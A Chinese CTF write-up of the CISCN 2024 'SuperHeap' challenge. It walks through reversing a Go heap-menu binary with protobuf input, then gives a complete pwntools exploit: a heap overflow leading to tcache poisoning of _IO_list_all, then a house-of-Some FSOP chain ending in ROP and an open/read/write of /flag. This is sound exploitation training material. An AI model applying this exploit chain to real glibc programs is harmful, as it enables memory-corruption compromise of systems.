CISCN 2024 初赛 复现
SuperHeap
go 套壳的普通 libc 2.35 heap。go 主函数逻辑在 main_main
,可以看到有 seccomp 沙箱,用 seccomp-tools
查看:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x08 0x00 0x00000029 if (A == socket) goto 0014
0006: 0x15 0x07 0x00 0x0000002a if (A == connect) goto 0014
0007: 0x15 0x06 0x00 0x00000031 if (A == bind) goto 0014
0008: 0x15 0x05 0x00 0x00000032 if (A == listen) goto 0014
0009: 0x15 0x04 0x00 0x00000038 if (A == clone) goto 0014
0010: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0014
0011: 0x15 0x02 0x00 0x00000065 if (A == ptrace) goto 0014
0012: 0x15 0x01 0x00 0x000000a5 if (A == mount) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0015: 0x06 0x00 0x00 0x00000000 return KILL
,只允许 x86_64,禁掉了 execve
、socket
之类,最好 ORW 吧。
然后来到真正的菜单堆逻辑:
while (1) {
v15 = main_BPUGMG();
v16 = qword_41A3D0;
v21 = *(void (***)(void))runtime_mapaccess2_fast64(
(unsigned int)&RTYPE_map_int_func, qword_41A3D0, v15);
if (v16) {
(*v21)();
} else {
v35[0] = &RTYPE_string;
v35[1] = &aInval;
v1 = 1;
v2 = 1;
fmt_Fprintln((unsigned int)off_2BCBE8, qword_41A3E8, (unsigned int)v35,
1, 1, (unsigned int)&aInval);
}
}
。输入数字,从一个 map 取出对应功能函数并执行。创建 CTFBook
逻辑在 main_WEB5SF
,其中会读入字符串并解码然后创建新 CTFBook
,解码过程是:
encoding_base32__ptr_Encoding_DecodeString
-> github_com_golang_protobuf_proto_Unmarshal
-> 各字段 encoding_base64__ptr_Encoding_DecodeString
重点是 protobuf,用到的库是 github.com/golang/protobuf
,这个库应该是可以直接识别 go 原生类,反序列化对应的 protobuf 数据,因此之后我们编码的时候可以直接用类定义里的字段名(之前做过 go json 序列化的题,json 里的字段名和类定义里的不同,排了很久的错)。到 IDA 的 Local Types,可以看到这个结构体:
00000000 struct __attribute__((aligned(8))) mypackage_CTFBook // sizeof=0x78
00000000 {
00000000 impl_MessageState state;
00000008 int32 sizeCache;
0000000C // padding byte
0000000D // padding byte
0000000E // padding byte
0000000F // padding byte
00000010 _slice_uint8 unknownFields;
00000028 string Title;
00000038 string Author;
00000048 string Isbn;
00000058 string PublishDate;
00000068 float64 Price;
00000070 int32 Stock;
00000074 // padding byte
00000075 // padding byte
00000076 // padding byte
00000077 // padding byte
00000078 };
,其中 state
、sizeCache
、unknownFields
应该是 protobuf 库生成的,CTFBook
原本的字段是 Title
、Author
、Isbn
、PublishDate
、Price
、Stock
。所以可以编写这样的 .proto
文件:
syntax = "proto3";
package mypackage;
message CTFBook {
string Title = 1;
string Author = 2;
string Isbn = 3;
string PublishDate = 4;
double Price = 5;
int32 Stock = 6;
}
用 protoc
编译成 Python 脚本:
$ protoc ctf_book.proto --python_out=.
然后就可以用 Python 愉快输入了:
from ctf_book_pb2 import CTFBook
from dataclasses import dataclass
@dataclass
class Book:
Title: bytes
Author: bytes
Isbn: bytes
PublishDate: bytes
Price: float
Stock: int
def to_proto_encoded(self):
book = CTFBook()
book.Title = base64.b64encode(self.Title)
book.Author = base64.b64encode(self.Author)
book.Isbn = base64.b64encode(self.Isbn)
book.PublishDate = base64.b64encode(self.PublishDate)
book.Price = self.Price
book.Stock = self.Stock
return base64.b32encode(book.SerializeToString())
之后简单 fuzz 一下发现虽然没有 UAF ,但是 edit 时不会检查长度,可以任意堆溢出。所以可以修改 tcache next,tcache attack 劫持 _IO_list_all
,程序正常 exit
打 house of Some(_IO_flush_all
时利用 IO wide_data 任意读写,利用 environ
泄漏栈基址,栈上 ROP)。
完整 exp:
#!/usr/bin/python
from pwn import *
from ctypes import *
from ctf_book_pb2 import CTFBook
itob = lambda x: str(x).encode()
context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './SuperHeap'
io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)
gdb.attach(io, 'set resolve-heap-via-heuristic force') # goroutine 多线程会干扰 pwndbg 识别 main_arena
from dataclasses import dataclass
@dataclass
class Book:
Title: bytes
Author: bytes
Isbn: bytes
PublishDate: bytes
Price: float
Stock: int
def to_proto_encoded(self):
book = CTFBook()
book.Title = base64.b64encode(self.Title)
book.Author = base64.b64encode(self.Author)
book.Isbn = base64.b64encode(self.Isbn)
book.PublishDate = base64.b64encode(self.PublishDate)
book.Price = self.Price
book.Stock = self.Stock
return base64.b32encode(book.SerializeToString())
# count: 28
def add(index: int, book: Book):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b': ', itob(index))
io.sendlineafter(b': ', book.to_proto_encoded())
def show(index: int):
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b': ', itob(index))
def delete(index: int):
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b': ', itob(index))
def edit(index: int, book: Book):
io.sendlineafter(b'> ', b'4')
io.sendlineafter(b': ', itob(index))
io.sendlineafter(b': ', book.to_proto_encoded())
def search(keyword: str):
io.sendlineafter(b'> ', b'5')
io.sendlineafter(b': ', keyword.encode())
add(0, Book(cyclic(0x800), b'', b'', b'', 0, 0))
delete(0)
for i in range(5):
add(i, Book(b'', b'', b'', b'', 0, 0))
show(4)
io.recvuntil(b'Author: ')
libc.address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - 2207136
print(f'libc_base: 0x{libc.address:x}')
show(3)
io.recvuntil(b'Title: ')
heap_base = (u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - 2) << 12
print(f'heap_base: 0x{heap_base:x}')
edit(4, Book(cyclic(40) + p64(0x81) + p64(libc.sym['_IO_list_all'] ^ ((heap_base >> 12) + 2)), b'bbb2', b'ccc3', b'ddd4', 10101, 20202))
add(5, Book(cyclic(0x70), b'2bbb', b'3ccc', b'4ddd', 10101, 20202))
add(6, Book(cyclic(0x70), b'2bbb', b'3ccc', b'4ddd', 10101, 20202))
from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=heap_base + 0x1000)
payload = hos.hoi_read_file_template(heap_base + 0x1000, 0x400, heap_base + 0x1000, 0)
print(payload)
add(7, Book(payload + b'rrrr', b'', b'', b'', 0, 0))
add(8, Book(p64(heap_base + 13344) + cyclic(0x68), b'2bbb', b'3ccc', b'4ddd', 10101, 20202))
io.sendlineafter(b'> ', b'6')
hos.bomb_orw(io, b'/flag')
io.interactive()
虽然做出来了,但是对于 go 部分的理解还比较混乱。